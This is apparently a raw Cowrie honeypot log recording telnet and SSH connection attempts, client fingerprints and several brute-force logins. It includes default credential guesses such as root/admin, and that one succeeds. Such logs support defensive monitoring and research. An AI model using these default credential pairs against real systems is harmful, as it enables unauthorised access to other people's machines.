{"eventid":"cowrie.session.closed","duration":11.714502811431885,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:54.460073Z","src_ip":"147.182.143.59","session":"4fa217b1553a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.88126039505005,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:55.751988Z","src_ip":"45.58.127.90","session":"555f88c63cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":52470,"dst_ip":"10.17.0.5","dst_port":22,"session":"60eea933bfc8","protocol":"ssh","message":"New connection: 187.230.120.231:52470 (10.17.0.5:22) [session: 60eea933bfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:02.146665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:02.186280Z","src_ip":"187.230.120.231","session":"60eea933bfc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:02.285216Z","src_ip":"187.230.120.231","session":"60eea933bfc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:02.657162Z","src_ip":"187.230.120.231","session":"60eea933bfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:03.758315Z","src_ip":"187.230.120.231","session":"60eea933bfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.1854989528656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:09.702217Z","src_ip":"45.58.127.90","session":"42e6375fa9ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43784,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b4f8a7cbc7d","protocol":"telnet","message":"New connection: 45.58.127.90:43784 (10.17.0.5:23) [session: 6b4f8a7cbc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:11.957284Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":55494,"dst_ip":"10.17.0.5","dst_port":23,"session":"539ce46a98c7","protocol":"telnet","message":"New connection: 180.235.129.180:55494 (10.17.0.5:23) [session: 539ce46a98c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:15.788385Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43798,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d5b7490007","protocol":"telnet","message":"New connection: 45.58.127.90:43798 (10.17.0.5:23) [session: 09d5b7490007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:17.717309Z"}
{"eventid":"cowrie.session.closed","duration":3.1570074558258057,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:18.945287Z","src_ip":"180.235.129.180","session":"539ce46a98c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44430,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ede8f66d079","protocol":"telnet","message":"New connection: 45.58.127.90:44430 (10.17.0.5:23) [session: 8ede8f66d079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:29.366625Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42472,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c9fdf464bd","protocol":"telnet","message":"New connection: 45.58.127.90:42472 (10.17.0.5:23) [session: 25c9fdf464bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:43.380964Z"}
{"eventid":"cowrie.session.closed","duration":44.19965124130249,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:56.156799Z","src_ip":"45.58.127.90","session":"6b4f8a7cbc7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60502,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a09ab7b1a0b","protocol":"telnet","message":"New connection: 45.58.127.90:60502 (10.17.0.5:23) [session: 9a09ab7b1a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:56.724892Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":35016,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c3c9028f536","protocol":"ssh","message":"New connection: 187.230.120.231:35016 (10.17.0.5:22) [session: 9c3c9028f536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:57.811497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:57.816140Z","src_ip":"187.230.120.231","session":"9c3c9028f536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:57.916565Z","src_ip":"187.230.120.231","session":"9c3c9028f536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@dmin","message":"login attempt [admin/@dmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:58.333359Z","src_ip":"187.230.120.231","session":"9c3c9028f536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50892,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5b52649f9d3","protocol":"telnet","message":"New connection: 45.58.127.90:50892 (10.17.0.5:23) [session: f5b52649f9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:58.564215Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:59.431937Z","src_ip":"187.230.120.231","session":"9c3c9028f536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.96497941017151,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:39:59.682165Z","src_ip":"45.58.127.90","session":"09d5b7490007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96221947669983,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:03.328741Z","src_ip":"45.58.127.90","session":"8ede8f66d079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50902,"dst_ip":"10.17.0.5","dst_port":23,"session":"295c52c3092b","protocol":"telnet","message":"New connection: 45.58.127.90:50902 (10.17.0.5:23) [session: 295c52c3092b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:04.021972Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50916,"dst_ip":"10.17.0.5","dst_port":23,"session":"bec3bf5a2a6e","protocol":"telnet","message":"New connection: 45.58.127.90:50916 (10.17.0.5:23) [session: bec3bf5a2a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:05.113466Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43230,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffba4b1c4524","protocol":"telnet","message":"New connection: 147.182.143.59:43230 (159.203.135.109:23) [session: ffba4b1c4524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:06.372350Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40150,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bdadecf6d0d","protocol":"telnet","message":"New connection: 45.58.127.90:40150 (10.17.0.5:23) [session: 9bdadecf6d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:15.797091Z"}
{"eventid":"cowrie.session.closed","duration":10.42030644416809,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:16.792528Z","src_ip":"147.182.143.59","session":"ffba4b1c4524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40162,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ac76a9b13f2","protocol":"telnet","message":"New connection: 45.58.127.90:40162 (10.17.0.5:23) [session: 9ac76a9b13f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:17.588798Z"}
{"eventid":"cowrie.session.closed","duration":44.54667139053345,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:27.927516Z","src_ip":"45.58.127.90","session":"25c9fdf464bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53396,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5106714d4a9","protocol":"telnet","message":"New connection: 45.58.127.90:53396 (10.17.0.5:23) [session: c5106714d4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:29.854266Z"}
{"eventid":"cowrie.session.closed","duration":41.67107582092285,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:38.395860Z","src_ip":"45.58.127.90","session":"9a09ab7b1a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.23513960838318,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:43.348445Z","src_ip":"45.58.127.90","session":"bec3bf5a2a6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.43364882469177,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:44.997737Z","src_ip":"45.58.127.90","session":"f5b52649f9d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.63354158401489,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:45.655370Z","src_ip":"45.58.127.90","session":"295c52c3092b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":51856,"dst_ip":"10.17.0.5","dst_port":22,"session":"946ef210f494","protocol":"ssh","message":"New connection: 187.230.120.231:51856 (10.17.0.5:22) [session: 946ef210f494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:53.797674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:53.802413Z","src_ip":"187.230.120.231","session":"946ef210f494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:53.916117Z","src_ip":"187.230.120.231","session":"946ef210f494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"1234","message":"login attempt [sftpuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:54.385295Z","src_ip":"187.230.120.231","session":"946ef210f494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:55.504785Z","src_ip":"187.230.120.231","session":"946ef210f494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.07123064994812,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:56.659905Z","src_ip":"45.58.127.90","session":"9ac76a9b13f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.917722940444946,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:40:57.714690Z","src_ip":"45.58.127.90","session":"9bdadecf6d0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58536,"dst_ip":"159.203.135.109","dst_port":23,"session":"dabd0d2f4300","protocol":"telnet","message":"New connection: 147.182.143.59:58536 (159.203.135.109:23) [session: dabd0d2f4300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:05.187328Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49722,"dst_ip":"159.203.135.109","dst_port":23,"session":"61a14689550d","protocol":"telnet","message":"New connection: 147.182.143.59:49722 (159.203.135.109:23) [session: 61a14689550d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:07.356329Z"}
{"eventid":"cowrie.session.closed","duration":38.51762008666992,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:08.371766Z","src_ip":"45.58.127.90","session":"c5106714d4a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49738,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fad474a7e11","protocol":"telnet","message":"New connection: 147.182.143.59:49738 (159.203.135.109:23) [session: 3fad474a7e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:09.458464Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40640,"dst_ip":"10.17.0.5","dst_port":23,"session":"d879e447ab2b","protocol":"telnet","message":"New connection: 45.58.127.90:40640 (10.17.0.5:23) [session: d879e447ab2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:15.894927Z"}
{"eventid":"cowrie.session.closed","duration":10.778209447860718,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:15.965211Z","src_ip":"147.182.143.59","session":"dabd0d2f4300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.019700765609741,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:18.375920Z","src_ip":"147.182.143.59","session":"61a14689550d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.22421646118164,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:20.682516Z","src_ip":"147.182.143.59","session":"3fad474a7e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51078,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd4e4be9f56e","protocol":"telnet","message":"New connection: 147.182.143.59:51078 (159.203.135.109:23) [session: cd4e4be9f56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:28.014937Z"}
{"eventid":"cowrie.session.closed","duration":10.872945547103882,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:38.887750Z","src_ip":"147.182.143.59","session":"cd4e4be9f56e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":7574,"dst_ip":"10.17.0.5","dst_port":22,"session":"e18e10dab7b2","protocol":"ssh","message":"New connection: 185.71.233.73:7574 (10.17.0.5:22) [session: e18e10dab7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:38.993422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:38.998773Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:39.196528Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:39.814932Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:40.278373Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:40.469336Z","src_ip":"185.71.233.73","session":"e18e10dab7b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44190,"dst_ip":"10.17.0.5","dst_port":23,"session":"133a33b73d3c","protocol":"telnet","message":"New connection: 45.58.127.90:44190 (10.17.0.5:23) [session: 133a33b73d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:40.798285Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":7593,"dst_ip":"159.203.135.109","dst_port":22,"session":"69be4469c7b1","protocol":"ssh","message":"New connection: 185.71.233.73:7593 (159.203.135.109:22) [session: 69be4469c7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:41:41.060479Z"}
